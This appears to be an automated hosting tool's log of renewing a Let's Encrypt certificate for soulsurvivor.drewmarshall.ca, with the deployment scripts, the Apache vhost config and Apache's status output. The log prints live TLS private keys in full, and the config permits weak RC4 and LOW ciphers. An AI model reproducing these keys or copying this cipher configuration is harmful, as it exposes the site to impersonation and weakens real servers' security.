VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1
rXaa2Q5SzQAAAZ4lFDF5AAAEAwBHMEUCIQDIhwDciUzlg8pkHyZJ88yMH/mf7vJt
+69aq2d16fqE7AIgVOg4M+JJS2QehPb4xI5wGEQLte9C+tlx8dZRNezle+EAfgBG
r4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ4lFDJKAAgAAAUABpAj
ugQDAEcwRQIhALX2U9TQWF8MFNBQBa9RHSDt2Lc6zy/h/v+jaPEH3XLbAiBkaiYP
/uGpF3Jt6mVd31balcxktcpGjFD8qABfBUNewDANBgkqhkiG9w0BAQsFAAOCAQEA
fljlBLmEMLaXrvwp/iVA1ag6Ip0w5lF8nXo/U9qS1okLV4e0su7/agaKZJx5hQd0
jpB7a6WqfOJor3rAGrQHny2XpmaauS0cE6R9FmQ/FCk9l92cSfRfoikz1HCqcwFr
wgWoLnbxxt6YCaWa1Bxl1cjVcfyi0/6kjKoEJBZBL2VEXH8P6KcSQCFvm8AEaWfV
SewLzvaLk5Jmib3usne8JNVyjfB2rFPij1vUGuvLz67Yt9bbGqpbC1Kp538+c6zA
g2L7E6gIMNMAi5fFr+dJWZVPIvV7pgkqiA1YPhPe2VcggHHu3rHiWByBbW15G/7B
qwTaedcwKE4xbBH8U9CGMg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDJdEs7l3s65rtg
YXn19Yv2FOxVs+tEgqJ9J2phIW3EBI2NEer1mPUhf4U2u4dEmdi2b5IKr9cLcitC
coyIFphMSnp7QA/0ivACIVi2O3uHnCVogAnNRsOb6Uf2Fifne7Q/eVVtKMafl59Q
34aNFf5ZVJO3TP205XCqyQo/UQCpnKcpnoEOHJW0eYTMvyV/mtvdASYAIO7PGa24
uxyC7spbk6zRGX4XEOrbR8nlnNQHcFFIYXI+lyah6zv7OFQXyjl9Tu04y2M6Houp
3iKvuYwpEWVqG0HxPz7gXnLS+Rcqa+n5eQzcwCgYay6E1Y4Za733afhNyyw8plim
TxN/oPS3AgMBAAECggEAANWR2v0fAVJwfWiwVM8GG/T50y0IkPyqTmX5/QCV1mIs
Cxgc5sfexzTvYn4KUSo1770S8Y2WEJhFCsrNcpU6K9Ub7SPwLPoT6ysjyLVpJvM3
MHFlspggoHLdENOf3K4ldyUG41ajSlWAm/9ULLdmAA0anRkdH9ralmQSV8rISIUf
3R7fMp+8UoUDl3JPODNSYLNAHC6pBjfwYcvfH1YjazJIxqFuyw6zBhsP9OilIGWs
FwqVlYm5D7mQIB4L8k9nl6wNKZ4hQ0oCkl4wCOvdtsiIVVd89ngCOfHM2GaofEfP
l2H7rEBDvJfVwP0tQY7kGQ2Ja9mN5rvQVb/oPKRNUQKBgQD+LtNEIlsYRC46EBoS
mHwQaf+RO7Z7nWpDrxGYlBZUYoAWpEgQa3xsEb85etulu70siFvWkwhC0KiHwp7S
bL8UN3Xt75b6vITfpbjit1tKkEd5ICZhg8yoacOpg1njNFZWbe8ORdlkCm0F3C3W
LZ/OeuwQvWRkCO/P/UkOlxmNjwKBgQDK5PiXYhplPTrGPxinpSXLnf38rvACTmUV
xYIp8EwlevXOSOtATw24stBhqKF0Pt9k+Rz6EbTPNZmf9aeYWNZqPzQVSwEE3V3P
4XjR4jNmJgt2sF++Un9TiUGQVlDUwAoANtvRF57mtkvu6KxkaOwkXJO32Q4pdpNh
RD5wTJJiWQKBgQD2cgQYjY7xKjn/xdjhqsKvT3ahI9o8ZFXBph5TZ1F3I8G5MjNE
6FJMnbBgVMReHna+lL8mfoyF67VbW9GNiC6DtXo75g7msJ3MEev+tXRoCRejUw6j
gZyOtW0mD9q5Ned4CUK8/fBW1Nz7z40JmlbVZc04Ncj+TMPnT1bkNJBr9QKBgD5S
tTWzEc6VT0+EJCui5Ag2wMT0a48Zy50zbTc6s/kzWvwBlBnN7rYUX0QQS3/srCxV
BRyfgb3Ahi8Hg3Kdn0dFoNcFkguPf/iSFs3JwOYYu566sL5Ckw/y8mvGx8+CKdBF
CaKhsdLGnm6FlCbHv/mvYkSv7NS5sq3HC7LtIm4JAoGATHMRAg8UhzFj90G3R7ER
3cSLTYQYTc5jUuWiSA7qAdde1HaVNJOIpQ9EU92yj52FCT8VMHMilFsE0RilfMvH
gUwJW2D2vJNkgs2fCPewI8xO4OZ8aL6Iut6AQIH01mGpxi4ky6PqukX1MVXI+J28
uvHeV2wUX/ko25uxBrjeilw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-05-14 06:02:22: Establishing a connection
2026-05-14 06:02:23: Establishing a connection
2026-05-14 06:02:23: 

PUT: /tmp/pkp144368

#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:02:23: 

chmod 755 /tmp/pkp144368; /tmp/pkp144368; rm /tmp/pkp144368

2026-05-14 06:02:23: 


1


2026-05-14 06:02:23: Establishing a connection
2026-05-14 06:02:23: 

PUT: /tmp/pkp479898

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > qyGR153om48PnTJmvckf_tJHUcEC9YbS4gynqqGRMds <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qyGR153om48PnTJmvckf_tJHUcEC9YbS4gynqqGRMds.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qyGR153om48PnTJmvckf_tJHUcEC9YbS4gynqqGRMds


2026-05-14 06:02:23: 

chmod 755 /tmp/pkp479898; /tmp/pkp479898; rm /tmp/pkp479898

2026-05-14 06:02:23: 




2026-05-14 06:02:30: Establishing a connection
2026-05-14 06:02:30: 

PUT: /tmp/pkp635330

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm qyGR153om48PnTJmvckf_tJHUcEC9YbS4gynqqGRMds


2026-05-14 06:02:30: 

chmod 755 /tmp/pkp635330; /tmp/pkp635330; rm /tmp/pkp635330

2026-05-14 06:02:30: 




2026-05-14 06:02:30: Establishing a connection
2026-05-14 06:02:31: 

PUT: /tmp/pkp535308

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt

cat > $temp_file <<'endmsg'
4a:99:f2:d4:0f:1e:90:4f:a3:13:02:2a:f6:83:b5:ae

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBcDVLbeiBNTcyd1r57n9MXp8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTE0MDUwMzU5WhcNMjYwODEyMDUwMzU4WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAoCzp892dDirwNQJcTB3lc0zqyf0ZHsG/JNim1keWxfb9
qENxBHkC7Q4fAA7b91w048o17uEA/QaYPYkaKzmEP0btQ6z7fEeBsNxjuihe1LaD
vkrw8aCIBL4eRk/P7QQpDgpZKSWa0uH3uoqpcbASj/a/K9zQdiZQUTA2ZtQw2a11
Xf+R3oUKVehLa3/qTE+8dxikrOYrGBUE2O6ZR2fUTMCI3mkr/agukVukdnMfemrh
DWR+Jzy6L7PnHv39XicE5Ejc7UACMgLs+t9+h3qWS3qJfd4ZTCRN+WCA/SfiebLl
sZ7i0SyvzzUd7U6IowjORSG4/120Wj+55BP4GwREAwIDAQABo4ICKjCCAiYwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFDSg8QYVEhDfa3V4Ks116ji9TgDEMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcc291bHN1cnZpdm9yLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSg
IqAghh5odHRwOi8vcjEyLmMubGVuY3Iub3JnLzEyNS5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa2Q5SzQAA
AZ4lFFG+AAAEAwBHMEUCICTEzV8VFNTU7pJyuQFcdUruWwt2ySDaqlwJd+h1/XZX
AiEApOhEukQ3qrHPyEgKXaHCeFsMKy5IvTx3+lpcGO4OODUAfQBs/lAZQ6heqRa8
UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ4lFFWGAAgAAAUAC22MAQQDAEYwRAIg
BFWE1npRHymoZmGsVHkZpu9sIqQtrWYkwHt5P5Z5K3QCIHhDdZs8mcG7A8SLgKo8
ySIk298/JkyeqaB+9DB5jCldMA0GCSqGSIb3DQEBCwUAA4IBAQACS9AwHbNlhEsr
dEIWzU9LsZ4HFA1fjnvsKE65GhWJwiJ6OMQNeGPcIDglp32NZedQEdifp9jjh2X9
UAG5V5lgNez7yCnYTPH6u+yVKvbu9LYjvLi/BMbSQfOHXnTIZM3ubgBJuXxSFu7+
ZUMJL46mkXFimwHgsIRxaAMg659aDaJG6+nAGj7muDEVkxKtn6Oi2CiYXkLEb2w0
v6o3NcG8ExMr6B8AvsiuPtdFz/IBWZqSDGIzacQKpZpEt4k8DSo3hZJ1pxZRYbXJ
w3QeIaz9qN3vIq8hUyqaKEvMsmiB8xokH/83j8IUZTXwtCehbqHOg4mirhamOf+L
1NgNf1Qz
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCgLOnz3Z0OKvA1
AlxMHeVzTOrJ/Rkewb8k2KbWR5bF9v2oQ3EEeQLtDh8ADtv3XDTjyjXu4QD9Bpg9
iRorOYQ/Ru1DrPt8R4Gw3GO6KF7UtoO+SvDxoIgEvh5GT8/tBCkOClkpJZrS4fe6
iqlxsBKP9r8r3NB2JlBRMDZm1DDZrXVd/5HehQpV6Etrf+pMT7x3GKSs5isYFQTY
7plHZ9RMwIjeaSv9qC6RW6R2cx96auENZH4nPLovs+ce/f1eJwTkSNztQAIyAuz6
336HepZLeol93hlMJE35YID9J+J5suWxnuLRLK/PNR3tToijCM5FIbj/XbRaP7nk
E/gbBEQDAgMBAAECggEABvquBWNspBQyFaOd5FTEWkfJtM9qBTF2Y+NrMZig9Mzh
Gv0FTNqXZAwV3oMto0bJqMgQ0L3N6AVRJBOrQW+zvkYXsVE1cm7Zmc+gkMxdhXGg
DLsBnXJ1oS9F7NTH2V3+PY+TeJWCfE0Lf323PS4c2otrCdaieeNyShDw7eR+oTcG
y2tmsYRTutqjhI6x+bKtjj/rJIITtQRjSbfF2+6MVeOHXR7tcXGumcWH09/G0SOp
k/OnpTJEtFxElMFSulufozELzpFKxSWjEld6IMLNyyQ3bvft7A+2pVIlKwe4ZiGG
kH8/bL9NVzNBFfjpwK9xO2df5TufdseSbgDf+x3TsQKBgQDUBZeVZG/vY1rkyVHr
Ji8sfTkc+HSNhmKSHP7xP4Dxv0FaBkToICVnCzSfWLm+lifMMQrf/qAjBR4KCQO8
K3eRKTN429eZ3ZpgHVcx4+eCF3ouLk139fhCX+ywjTnNtdjPn9eKfMzz4aFtjJ++
/vnapyOPEwtgVC7i53d10azWLwKBgQDBZkQnETW7q7ugS7QieJS977NMWu/klIV9
MhHCvJi5NByQpXI+mLQU/k4tsMhy/X/6ZS+7/TGYVEY+PqaRxEdaTh4NEmvEFx/F
ofTpQFcAKaMbTZ0sQbFzUc5jEYEerPHMcrkwBivWdG0vrRA00xs5EpbFtqW/EEzn
ROT7a5GObQKBgQCXTfpUCV38NyoZVTYZmqFVnXORohkDGmDjpr+lCE2Lt5H6nbi0
8qPeeleuU5ISWXPDO0hoe3xqIW/Dd5VrxpVISV/LIxAkZMmTR7z/BIYlB34Q0MhG
EIl/TJdLky0qCVjVKluWH+PfMyiRViZ2Fd3WVSqCIvQeZVUkZkyRDvXJzwKBgQCB
z7fNFTMg3btZc5bcUF1eQ8bwaFV+8uXKy9G6CUblgQHvYO2W8H5nXO5yoqdY76h4
FHT+1Ir2eRKQ8xJw4vMVvTtUgNnOy8qqp/OwoFwFIu11BRqLOyj1g6JpQrWNNn4y
QYrlni7MimdDSgGHw28RVtXWrasA3NsRnF+qFmCj3QKBgQDLiTuQlgtsmhrzlW35
Pukp5GBO/Mem70EnnXZsGsbi8oCvOu7YernCfzWUiJXIsrch8JbA6MNN/VcaxL6C
RmK/6mYGp5klcuWtMEIrjI2lfMas0d/cXQZfJNmbH0WLMyFcgRKMyH37wpp/epHl
8cdiZfibKDCIK49eWB6DqRk7zw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-14 06:02:31: 

chmod 755 /tmp/pkp535308; /tmp/pkp535308; rm /tmp/pkp535308

2026-05-14 06:02:31: 


dir=/etc/ssl/certs


2026-05-14 06:02:31: 

PUT: /tmp/pkp147568

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-14 06:02:31: 

chmod 755 /tmp/pkp147568; /tmp/pkp147568; rm /tmp/pkp147568

2026-05-14 06:02:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-14 06:02:31: 

PUT: /tmp/pkp586643

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi


2026-05-14 06:02:31: 

chmod 755 /tmp/pkp586643; /tmp/pkp586643; rm /tmp/pkp586643

2026-05-14 06:02:31: 




2026-05-14 06:02:31: 

PUT: /tmp/pkp814026

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-14 06:02:31: 

chmod 755 /tmp/pkp814026; /tmp/pkp814026; rm /tmp/pkp814026

2026-05-14 06:02:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-14 06:02:31: Establishing a connection
2026-05-14 06:02:31: 

PUT: /tmp/pkp317545

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-14 06:02:31: 

chmod 755 /tmp/pkp317545; /tmp/pkp317545; rm /tmp/pkp317545

2026-05-14 06:02:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
